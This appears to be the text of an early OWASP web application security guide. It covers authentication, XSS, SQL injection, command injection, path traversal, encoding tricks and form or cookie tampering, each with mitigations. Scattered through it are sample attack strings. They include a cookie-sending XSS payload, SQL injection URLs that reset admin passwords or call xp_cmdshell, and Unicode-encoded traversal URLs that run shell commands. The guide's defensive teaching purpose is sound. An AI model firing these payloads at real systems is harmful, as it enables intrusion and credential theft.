When designing a system the system architect can use the document as a template to ensure he or she has thought about the implications that each of the sections described could have on his or her system.

When engaging professional services companies for web application security design or testing, it is extremely difficult to accurately gauge whether the company or its staff are qualified and if they intend to cover all of the items necessary to ensure an application (a) meets the security requirements specified or (b) will be tested adequately. We envisage companies being able to use this document to evaluate proposals from security consulting companies to determine whether they will provide adequate coverage in their work. Companies may also request services based on the sections specified in this document.

We anticipate security professionals and systems owners using this document as a template for testing. By a template we refer to using the sections outlined as a checklist or as the basis of a testing plan. Sections are split into a logical order for this purpose. Testing without requirements is of course an oxymoron. What do you test against? What are you testing for? If this document is used in this way, we anticipate a functional questionnaire of system requirements to drive the process. As a complement to this document, the OWASP Testing Framework group is working on a comprehensive web application methodology that covers both "white box" (source code analysis) and "black box" (penetration test) analysis.

Cookies are often used to authenticate the user's browser as part of session management mechanisms. This is discussed in detail in the session management section of this document.

The referer [sic] header is sent with a client request to show where the client obtained the URI. On the face of it, this may appear to be a convenient way to determine that a user has followed a path through an application or been referred from a trusted domain. However, the referer is implemented by the user's browser and is therefore chosen by the user. Referers can be changed at will and therefore should never be used for authentication purposes.

There are many times when applications need to authenticate other hosts or applications. IP addresses or DNS names may appear like a convenient way to do this. However the inherent insecurities of DNS mean that this should be used as a cursory check only, and as a last resort.

IP address spoofing is also possible in certain circumstances and the designer may wish to consider the appropriateness. In general use gethostbyaddr() as opposed to gethostbyname(). For stronger authentication you may consider using X.509 certificates or implementing SSL.

While usernames have few requirements for security, a system implementor may wish to place some basic restriction on the username. Usernames that are derivations of a real name or actual real names can clearly give personal detail clues to an attacker. Other usernames like social security numbers or tax ID's may have legal implications. Email addresses are not good usernames for the reason stated in the Password Lockout section.

In all password schemes the system must maintain storage of usernames and corresponding passwords to be used in the authentication process. This is still true for web applications that use the built in data store of operating systems like Windows NT. This store should be secure. By secure we mean the passwords should be stored in such a way that the application can compute and compare passwords presented to it as part of an authentication scheme, but the database should not be able to be used or read by administrative users or by an adversary who manages to compromise the system. Hashing the passwords with a simple hash algorithm like SHA-1 is a commonly used technique.

Password quality refers to the entropy of a password and is clearly essential to ensure the security of the users' accounts. A password of "password" is obviously a bad thing. A good password is one that is impossible to guess. That typically is a password of at least 8 characters, one alphanumeric, one mixed case and at least one special character (not A-Z or 0-9). In web applications special care needs to be taken with meta-characters.

If an attacker is able to guess passwords without the account becoming disabled, then eventually he will probably be able to guess at least one password. Automating password checking across the web is very simple! Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made. A suitable number would be five.

Password lockout mechanisms do have a drawback, however. It is conceivable that an adversary can try a large number of random passwords on known account names, thus locking out entire systems of users. Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a number of hours. This significantly slows down attackers, while allowing the accounts to be open for legitimate users.

Rotating passwords is generally good practice. This gives valid passwords a limited life cycle. Of course, if a compromised account is asked to refresh its password then there is no advantage.

Automated password reset systems are common. They allow users to reset their own passwords without the latency of calling a support organization. They clearly pose some security risks in that a password needs to be issued to a user who cannot authenticate himself.

There are several strategies for doing this. One is to ask a set of questions during registration that can be asked of someone claiming to be a specific user. These questions should be free form, i.e., the application should allow the user to choose his own question and the corresponding answer rather than selecting from a set of predetermined questions. This typically generates significantly more entropy.

Care should be taken to never render the questions and answers in the same session for confirmation; i.e., during registration either the question or answer may be echoed back to the client, but never both.

If a system utilizes a registered email address to distribute new passwords, the password should be set to change the first time the new user logs on with the changed password.

It is usually good practice to confirm all password management changes to the registered email address. While email is inherently insecure and this is certainly no guarantee of notification, it is significantly harder for an adversary to be able to intercept the email consistently.

In highly secure systems passwords should only be sent via a courier mechanism or reset with solid proof of identity. Processes such as requiring valid government ID to be presented to an account administrator are common.

With outsourcing, hosting and ASP models becoming more prevalent, facilitating a single sign-on experience to users is becoming more desirable. The Microsoft Passport and Project Liberty schemes will be discussed in future revisions of this document.

Many web applications have relied on SSL as providing sufficient authentication for two servers to communicate and exchange trusted user information to provide a single sign on experience. On the face of it this would appear sensible. SSL provides both authentication and protection of the data in transit.

However, poorly implemented schemes are often susceptible to man in the middle attacks. A common scenario is as follows:

The common problem here is that the designers typically rely on the fact that SSL will protect the payload in transit and assumes that it will not be modified. He of course forgets about the malicious user. If the token consists of a simple username then the attacker can intercept the HTTP 302 redirect in a Man-in-the-Middle attack, modify the username and send the new request. To do secure single sign-on the token must be protected outside of SSL. This would typically be done by using symmetric algorithms and with a pre-exchanged key and including a time-stamp in the token to prevent replay attacks.

SSL negotiation with server authentication only is a nine-step process.

SSL negotiation with mutual authentication (client and server) is a twelve-step process.

The additional steps are;

Cross-site scripting has received a great deal of press attention. The name originated from the CERT advisory, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests. The attack is always on the system users and not the system itself. Of course if the user is an administrator of the system that scenario can change. To explain the attack lets follow an example.

The victim is tricked into making a specific and carefully crafted HTTP request. There are several ways this can happen but the normal way is via a link in an HTML aware email, a web based bulletin board or embedded in a malicious web page. The victim may not know he is making a request if the link is embedded into a malicious web page for example and may not require user intervention. The attacker has previously discovered an application that doesn't filter input and will return to the user the requested page and the malicious code he added to the request. This forms his request. When the web server receives the page request it sends the page and the piece of code that was requested. When the user's browser receives the new page, the malicious script is parsed and executed in the security context of the user. So why is this such a problem?

Modern client-side scripting languages now run beyond simple page formatting and are very powerful. Many clients are poorly written and rarely patched. These clients may be tricked into executing a number of functions that can be dangerous. If the attacker chose a web application that the user is authenticated to, the script (which acts in the security context of the user) can now perform functions on behalf of the user.

The classic example often used to demonstrate the concept is where a user is logged into a web application. The attacker believes the victim is logged into the web application and has a valid session stored in a session cookie. He constructs a link to the application to an area of the application that doesn't check user input for validity. It essentially processes what the user (victim) requests and returns it.

If a legitimate input to the application were via a form it may translate to an HTTP request that would look like this:

			http://www.owasp.org/test.cgi?userid=owasp
			

The poorly written application may return the variable "owasp" in the page as a user friendly name for instance. The simple attack URL may look like:

			http://www.owasp.org/test.cgi?userid=owasp<script>alert(document.cookie)</script>
			

This example would create a browser pop-up with the users cookie for that site in the window. The payload here is innocuous. A real attacker would create a payload that would send the cookie to another location, maybe by using syntax like:

			<script>document.write('<img src="http://targetsite.com'+document.cookie+'")</script>
			

There are a number of ways for the payload to be executed. Examples are:

			<img src = "malicious.js">
			<script>alert('hi')</script>
			<iframe = "malicious.js">
			</programlisting>
			

Another interesting scenario is especially disconcerting for Java developers. As you can see below, the attack relies on the concept of returning specific input that was submitted back to the user without altering it; i.e. the malicious script. If a Java application such as a servlet doesn't handle errors gracefully and allows stack traces to be sent to the users browser an attacker can construct a URL that will throw an exception and add his malicious script to the end of the request. An example may be:

			http://www.victim.com/test?arandomurlthatwillthrowanexception<script>alert('hi')</script>
			

As can be seen there are many ways in which cross-site scripting can be used. Web sites can embed links as images that are automatically loaded when the page is requested. Web mail may automatically execute when the mail is opened, or users could be tricked into clicking seemingly innocuous links.

Preventing cross-site scripting is a challenging task especially for large distributed web applications. Architecturally if all requests come in to a central location and leave from a central location then the problem is easier to solve with a common component.

If your input validation strategy is as we recommend, that is to say only accept expected input, then the problem is significantly reduced (if you do not need to accept HTML as input). We cannot stress that this is the correct strategy enough!

If the web server does not specify which character encoding is in use, the client cannot tell which characters are special. Web pages with unspecified character-encoding work most of the time because most character sets assign the same characters to byte values below 128. Determining which characters above 128 are considered special is somewhat difficult.

Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<". Browsers recognize this alternative encoding and act on it. While this is the defined behavior, it makes attacks much more difficult to avoid.

Web servers should set the character set, then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

			<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
			

The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in understanding the canonicalization of input data. Control over this process also helps markedly with internationalization efforts.

Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.

In an HTML body:

Note : Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<".

In attributes:

In URLs:

Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make a explicit decision to encode untrusted data and leave trusted data untouched, thus preserving mark-up content.

http://www.cert.org/tech_tips/malicious_code_mitigation.html

Well-designed applications insulate the users from business logic. Some applications however do not validate user input and allow malicious users to make direct database calls to the database. This attack, called direct SQL injection, is surprisingly simple.

Imagine a web application that has some functionality that allows you to change your password. Most do. You login and navigate to the account options page, select change password, enter your old password and specify the new password; twice for security of course. To the user it's a transparent process but behind the scenes some magic is taking place. When the user enters his old password and two new passwords in the web form, his browser is creating an http request to the web application and sending the data. This should be done over SSL to protect the data in transit.

That typical request actually may look like this (A GET request is used here for simplicity. In practice this should be done using a POST):

			http://www.victim.com/changepwd?pwd=Catch22&newpwd=Smokin99&newconfirmpwd=Smokin99&uid=testuser
			

The application that receives this request takes the four sets of parameters supplied as input:

			Pwd=Catch22
			Newpwd=Smokin99
			Newconfirmpwd=Smokin99
			Uid=testuser
			

It checks to make sure the two new passwords match out of courtesy to the user, discards the duplicate data and builds a database query that will check the original password and replace it with the new one entered. That database query may look like this:

			UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
			

All works just fine until the attacker comes along and figures out he can add another database function to the request that actually gets processed and executed. Here he adds a function that simply replaces the password of any accounts named admin with his chosen password. For instance:

			http://www.victim.com/changepwd?pwd=Catch22&newpwd=Smokin99&newconfirmpwd=Smokin99&uid=testuser '+or+uid+like'%25admin%25';--%00
			

The consequences are devastating. The attacker has been able to reset the administrative password to one he chose, locking out the legitimate systems owners and allowing him unlimited access. A badly designed web application means hackers are able to retrieve and place data in authoritative systems of record at will.

The example above uses a technique of appending an additional database query to the legitimate data supplied. Direct SQL Injection can be use to:

Some examples are shown below to demonstrate these techniques.

				UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
				

				 http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%00 
				

				SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
				

				http://www.none.to/script?0';insert+into+pg_shadow+usename+values+('hoschi')
				

				SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
				

				http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)
				

				SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';
				

http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname||'-'||passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25 
				

Preventing SQL injection is a challenging task especially for large distributed web systems consisting of several applications. Filtering SQL commands directly prior to their execution reduces the risk of erronous filtering, and shared components should be developed to preform this function.

If your input validation strategy is as we recommend, that is to say only accept expected input then the problem is significantly reduced. However this approach is unlikely to stop all SQL injection attacks and can be difficult to implement if the input filtering algorithm has to decide whether the data is destined to become part of a query or not, and if it has to know which database such a query might be run against. For example, a user who enters the last name "O'Neil" into a form includes the special meta-character ('). This input must be allowed, since it is a legitimate part of a name, but it may need to be escaped if it becomes part of a database query. Different databases may require that the character be escaped differently, however, so it would also be important to know for which database the data must be sanitized. Fortunately, there is usually a very good solution to this problem.

The best way to protect a system against SQL injection attacks is to construct all queries with prepared statements and/or parameterized stored procedures. A prepared statement, or parameterized stored procedure, encapsulates variables and should escape special characters within them automatically and in a manner suited to the target database.

Common database API's offer developers two different means of writing a SQL query. For example, in JDBC, the standard Java API for relational database queries, one can write a query either using a PreparedStatement or as a simple String. The preferred method from both a performance and a security standpoint should be to use PreparedStatements. With a PreparedStatement, the general query is written using a ? as a placeholder for a parameter value. Parameter values are substituted as a second step. The substitution should be done by the JDBC driver such that the value can only be interpreted as the value for the parameter intended and any special characters within it should be automatically escaped by the driver for the database it targets. Different databases escape characters in different ways, so allowing the JDBC driver to handle this function also makes the system more portable.

If the following query (repeated from the example above) is made using a JDBC PreparedStatement, the value $INPUT[uid] would only be interpreted as a value for uid. This would be true regardless of any quotation marks or other special characters used in the input string.

			UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
			

Common database interface layers in other languages offer similar protections. The Perl DBI module, for example, allows for prepared statements to be made in a way very similar to the JDBC PreparedStatement. Developers should test the behavior of prepared statements in their system early in the development cycle.

Use of prepared statements is not a panecea and proper input data validation is still strongly recommended. Defense in depth implies that both techniques should be used if possible. Also, some application infrastructures may not offer an analogue to the PreparedStatement. In these cases, the following two rules should be followed in the input validation step, if possible.

SQL queries should be built from data values and never other SQL queries or parts thereof.

If you must use an "explicitly bad" strategy then the application should filter special characters used in SQL statements. These include "+", "," "'" (single quote) and "=".

http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.sqlsecurity.com/faq-inj.asp http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

Nearly every programming language allows the use of so called "system-commands", and many applications make use of this type of functionality. System-interfaces in programming and scripting languages pass input (commands) to the underlying operating system. The operating system executes the given input and returns its output to stdout along with various return-codes to the application such as successful, not successful etc.

System commands can be a very convenient feature, which with little effort can be integrated into a web-application. Common usage for these commands in web applications are filehandling (remove,copy), sending emails and calling operating system tools to modify the applications input and output in various ways (filters).

Depending on the scripting or programming language and the operating-system it is possible to:

Some common problems to avoid are:

PHP

Shell Scripts

Perl

Java(Servlets, JSP's)

C & C++

Preventing direct OS commands is a challenging task especially for large distributed web systems consisting of several applications. Architecturally if all requests come in to a central location and leave from a central location then the problem is easier to solve with a common component. Validation is most effective when placed nearest to the intended entrance and exit points of a system, allowing more accurate assessment of the threats at every point.

If your input validation strategy is as we recommend, that is to say only accept expected input then the problem is significantly reduced. We cannot stress that this is the correct strategy enough!

Many web applications utilize the file system of the web server in a presentation tier to temporarily and/or permanently save information. This may include page assets like image files, static HTML or applications like CGI's. The WWW-ROOT directory is typically the virtual root directory within a web server, which is accessible to a HTTP Client. Web Applications may store data inside and/or outside WWW-ROOT in designated locations.

If the application does NOT properly check and handle meta-characters used to describe paths for example "../" it is possible that the application is vulnerable to a "Path Trasversal" attack. The attacker can construct a malicious request to return data about physical file locations such as /etc/passwd. This is often referred to as a "file disclosure" vulnerability. Attackers may also use this properties to create specially crafted URL's to Path traversal attacks are typically used in conjunction with other attacks like direct OS commands or direct SQL injection.

Scripting languages such as PHP, Perl, SSIs and several "template-based-systems" who automatically execute code located in required, included or evaluated files.

Traversing back to system directories which contain binaries makes it possible to execute system commands OUTSIDE designated paths instead of opening, including or evaluating file.

Where possible make use of path normalization functions provided by your development language. Also remove offending path strings such as "../" as well as their unicode variants from system input. Use of "chrooted" servers can also mitigate this issue.

Preventing path traversal and path disclosure is a challenging task especially for large distributed web systems consisting of several applications. Architecturally if all requests come in to a central location and leave from a central location then the problem is easier to solve with a common component.

If your input validation strategy is as we recommend, that is to say only accept expected input then the problem is significantly reduced. We can not stress that this is the correct strategy enough!

While web applications may be developed in a variety of programming languages, these applications often pass data to underlying lower level C-functions for further processing and functionality.

If a given string, lets say "AAA\0BBB" is accepted as a valid string by a web application (or specifically the programming language), it may be shortened to "AAA" by the underlying C-functions. This occurs because C/C++ perceives the null byte (\0) as the termination of a string. Applications which do not perform adequate input validation can be fooled by inserting null bytes in "critical" parameters. This is normally done by URL Encoding the null bytes (%00). In special cases it is possible to use Unicode characters.

The attack can be used to :

The most popular affected scripting and programming languages are:

Preventing null byte attacks requires that all input be validated before the application acts upon it.

As an example, one may look at the Unicode character set. Unicode is the internal format of the Java language. Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

In a Unicode Encoding attack, there are several unique issues at work. The variety of issues increases the complexity. The first issue involves Character Mapping while the second issue involves Character Encoding. An additional issue is related to whether the application supports Character Mapping and how that application encodes and decodes that mapping.

It is thus possible to form illegal UTF-8 encodings, in two senses:

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps. If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it. Examples: Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.

Consider the representation C0 AE of a certain symbol (see [1]). Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

To further "complicate" things, each representation can be sent over HTTP in several ways: In the raw. That is, without URL encoding at all. This usually results in sending non ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non ASCII characters.

Valid URL encoding. Each non ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.

Invalid URL encoding. This is a variant of [2], wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

			http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al| 
			

URL Encoding of the example attack:

			http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al| 
			

Unicode encoding of the example attack:

			http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al| 
			http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al| 
			

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.

http://www.ietf.org/rfc/rfc2279.txt?number=2279

Traditional web applications transfer data between client and server using the HTTP or HTTPS protocols. There are basically two ways in which a server receives input from a client; data can be passed in the HTTP headers or it can be included in the query portion of the requested URL. Both of these methods correspond to form input types (either GET or POST). Because of this, URL manipulation and form manipulation are simply two sides of the same issue. When data is included in a URL, it must be specially encoded to conform to proper URL syntax.

The RFC 1738 specification defining Uniform Resource Locators (URLs) and the RFC 2396 specification for Uniform Resource Identifiers (URIs) both restrict the characters allowed in a URL or URI to a subset of the US-ASCII character set. According to the RFC 1738 specification, "only alphanumerics, the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL." The data used by a web application, on the other hand, is not restricted in any way and in fact may be represented by any existing character set or even binary data. Earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

URL-encoding a character is done by taking the character's 8-bit hexadecimal code and prefixing it with a percent sign ("%"). For example, the US-ASCII character set represents a space with decimal code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.

Even though certain characters do not need to be URL-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be URL-encoded, as can all HTML entities and any meta characters used by the operating system or database. Because URL-encoding allows virtually any data to be passed to the server, proper precautions must be taken by a web application when accepting data. URL-encoding can be used as a mechanism for disguising many types of malicious code.

				echo $HTTP_GET_VARS["mydata"];
				

				http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22http%3a%2f%2fwww.yourserver.c0m%2fbadscript.js%22%3e%3c%2fscript%3e 
				

				<script src="http://www.yourserver.com/badscript.js"></script>
				

				sql = "SELECT lname, fname, phone FROM usertable WHERE lname='" & Request.QueryString("lname") & "';" 
				

				http://www.myserver.c0m/search.asp?lname=smith%27%3bupdate%20usertable%20set%20passwd%3d%27hAx0r%27%3b--%00 
				

				SELECT lname, fname, phone FROM usertable WHERE lname='smith';update usertable set passwd='hAx0r'
				

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after decoding is completed. It is usually the web server itself that decodes the URL and hence this problem may only occur on the web server itself.

Cookies are the preferred method to maintain state in the stateless HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests. Therefore any malicious user can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are freely available. SSL also only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions. (Many cookies are Base64 encoded; this is an encoding scheme and offers no cryptographic protection).

Example from a real world example on a travel web site modified to protect the innocent (or stupid).

			Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
			

The attacker can simply modify the cookie to;

			Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;
			

One mitigation technique is to simply use one session token to reference properties stored in a server-side cache. This is by far the most reliable way to ensure that data is sane on return: simply do not trust user input for values that you already know. When an application needs to check a user property, it checks the userid with its session table and points to the users data variables in the cache / database. This is by far the correct way to architect a cookie based preferences solution.

Another technique involves building intrusion detection hooks to evaluate the cookie for any infeasible or impossible combinations of values that would indicate tampering. For instance, if the "administrator" flag is set in a cookie, but the userid value does not belong to someone on the development team.

The final method is to encrypt the cookie to prevent tampering. There are several ways to do this including hashing the cookie and comparing hashes when it is returned or a symmetric encryption , although server compromise will invalidate this approach and so response to penetration must include new key generation under this scheme.

HTTP headers are control information passed from web clients to web servers on HTTP requests, and from web servers to web clients on HTTP responses. Each header normally consists of a single line of ASCII text with a name and a value. Sample headers from a POST request follow.

			Host: www.someplace.org
			Pragma: no-cache
			Cache-Control: no-cache
			User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
			Referer: http://www.someplace.org/login.php
			Content-type: application/x-www-form-urlencoded
			Content-length: 49
			

Often HTTP headers are used by the browser and the web server software only. Most web applications pay no attention to them. However some web developers choose to inspect incoming headers, and in those cases it is important to realize that request headers originate at the client side, and they may thus be altered by an attacker.

Normal web browsers do not allow header modification. An attacker will have to write his own program (about 15 lines of perl code will do) to perform the HTTP request, or he may use one of several freely available proxies that allow easy modification of any data sent from the browser.

Example 1: The Referer header (note the spelling), which is sent by most browsers, normally contains the URL of the web page from which the request originated. Some web sites choose to check this header in order to make sure the request originated from a page generated by them, for example in the belief it prevents attackers from saving web pages, modifying forms, and posting them off their own computer. This security mechanism will fail, as the attacker will be able to modify the Referer header to look like it came from the original site.

Example 2: The Accept-Language header indicates the preferred language(s) of the user. A web application doing internationalization (i18n) may pick up the language label from the HTTP header and pass it to a database in order to look up a text. If the content of the header is sent verbatim to the database, an attacker may be able to inject SQL commands (see SQL injection) by modifying the header. Likewise, if the header content is used to build a name of a file from which to look up the correct language text, an attacker may be able to launch a path traversal attack.

Simply put headers cannot be relied upon without additional security measures. If a header originated server-side such as a cookie it can be cryptographically protected. If it originated client-side such as a referer it should not be used to make any security decisions.

For more information on headers, please see RFC 2616 which defines HTTP/1.1.

When a user makes selections on an HTML page, the selection is typically stored as form field values and sent to the application as an HTTP request (GET or POST). HTML can also store field values as Hidden Fields, which are not rendered to the screen by the browser but are collected and submitted as parameters during form submissions.

Whether these form fields are pre-selected (drop down, check boxes etc.), free form or hidden, they can all be manipulated by the user to submit whatever values he/she chooses. In most cases this is as simple as saving the page using "view source", "save", editing the HTML and re-loading the page in the web browser.

As an example an application uses a simple form to submit a username and password to a CGI for authentication using HTTP over SSL. The username and password form fields look like this.

Some developers try to prevent the user from entering long usernames and passwords by setting a form field value maxlength=(an integer) in the belief they will prevent the malicious user attempting to inject buffer overflows of overly long parameters. However the malicious user can simply save the page, remove the maxlength tag and reload the page in his browser. Other interesting form fields include disabled, readonly and value. As discussed earlier, data (and code) sent to clients must not be relied upon until in responses until it is vetted for sanity and correctness. Code sent to browsers is merely a set of suggestions and has no security value.

Hidden Form Fields represent a convenient way for developers to store data in the browser and are one of the most common ways of carrying data between pages in wizard type applications. All of the same rules apply to hidden forms fields as apply to regular form fields.

Example 2 - Take the same application. Behind the login form may have been the HTML tag;

			<input name="masteraccess" type="hidden" value="N">
			

By manipulating the hidden value to a Y, the application would have logged the user in as an Administrator. Hidden form fields are extensively used in a variety of ways and while it's easy to understand the dangers they still are found to be significantly vulnerable in the wild.

Instead of using hidden form fields, the application designer can simply use one session token to reference properties stored in a server-side cache. When an application needs to check a user property, it checks the session cookie with its session table and points to the user's data variables in the cache / database. This is by far the correct way to architect this problem.

If the above technique of using a session variable instead of a hidden field cannot be implemented, a second approach is as follows.

The name/value pairs of the hidden fields in a form can be concatenated together into a single string. A secret key that never appears in the form is also appended to the string. This string is called the Outgoing Form Message. An MD5 digest or other one-way hash is generated for the Outgoing Form Message. This is called the Outgoing Form Digest and it is added to the form as an additional hidden field.

When the form is submitted, the incoming name/value pairs are again concatenated along with the secret key into an Incoming Form Message. An MD5 digest of the Incoming Form Message is computed. Then the Incoming Form Digest is compared to the Outgoing Form Digest (which is submitted along with the form) and if they do not match, then a hidden field has been altered. Note, for the digests to match, the name/value pairs in the Incoming and Outgoing Form Messages must concatenated together in the exact same order both times.

This same technique can be used to prevent tampering with parameters in a URL. An additional digest parameter can be added to the URL query string following the same technique described above.

URL Manipulation comes with all of the problems stated above about Hidden Form Fields, and creates some new problems as well.

HTML Forms may submit their results using one of two methods: GET or POST. If the method is GET, all form element names and their values will appear in the query string of the next URL the user sees. Tampering with hidden form fields is easy enough, but tampering with query strings is even easier. One need only look at the URL in the browser's address bar.

Take the following example; a web page allows the authenticated user to select one of his pre-populated accounts from a drop-down box and debit the account with a fixed unit amount. It's a common scenario. His/her choices are recorded by pressing the submit button. The page is actually storing the entries in form field values and submitting them using a form submit command. The command sends the following HTTP request.

			http://www.victim.com/example?accountnumber=12345&debitamount=1
			

A malicious user could construct his own account number and change the parameters as follows:

			http://www.victim.com/example?accountnumber=67891&creditamount=999999999
			

Thee new parameters would be sent to the application and be processed accordingly.

This seems remarkably obvious but has been the problem behind several well-published attacks including one where hackers bought tickets from the US to Paris for $25 and flew to hold a hacking convention. Another well-known electronic invitation service allowed users to guess the account ID and login as a specific user this way; a fun game for the terminally bored with voyeuristic tendencies.

Unfortunately, it isn't just HTML forms that present these problems. Almost all navigation done on the internet is through hyperlinks. When a user clicks on a hyperlink to navigate from one site to another, or within a single application, he is sending GET requests. Many of these requests will have a query string with parameters just like a form. And once again, a user can simply look in the "Address" window of his browser and change the parameter values.

Solving URL manipulation problems takes planning. Different techniques can be used in different situations. The best solution is to avoid putting parameters into a query string (or hidden form field).

When parameters need to be sent from a client to a server, they should be accompanied by a valid session token. The session token may also be a parameter, or a cookie. Session tokens have their own special security considerations described previously. In the example above, the application should not make changes to the account without first checking if the user associated with the session has permission to edit the account specified by the parameter "accountnumber". The script that processes a credit to an account cannot assume that access control decisions were made on previous application pages. Parameters should never be operated on unless the application can independently validate they were bound for and are authorized to be acted on.

However, a second form of tampering is also evident in the example. Notice that the creditamount is increased from 1 to 999999999. Imagine that the user doesn't tamper with the accountnumber but only with the amount. He may be crediting his own account with a very large sum instead of $1. Clearly this is a parameter that should simply not be present in the URL.

There are two reasons why a parameter should not be a URL (or in a form as a hidden field). The above example illustrates one reason - the parameter is one the user should not be able to set the value of. The second is if a parameter is one the user should not be able to see the value of. Passwords are a good example of the latter. Users's should not even see their own passwords in a URL because someone may be standing behind them and because browsers record URL histories. See Browser History Attack.

If a sensitive parameter cannot be removed from a URL, it must be cryptographically protected. Cryptographic protection can be implemented in one of two ways. The better method is to encrypt an entire query string (or all hidden form field values). This technique both prevents a user from setting the value and from seeing the value.

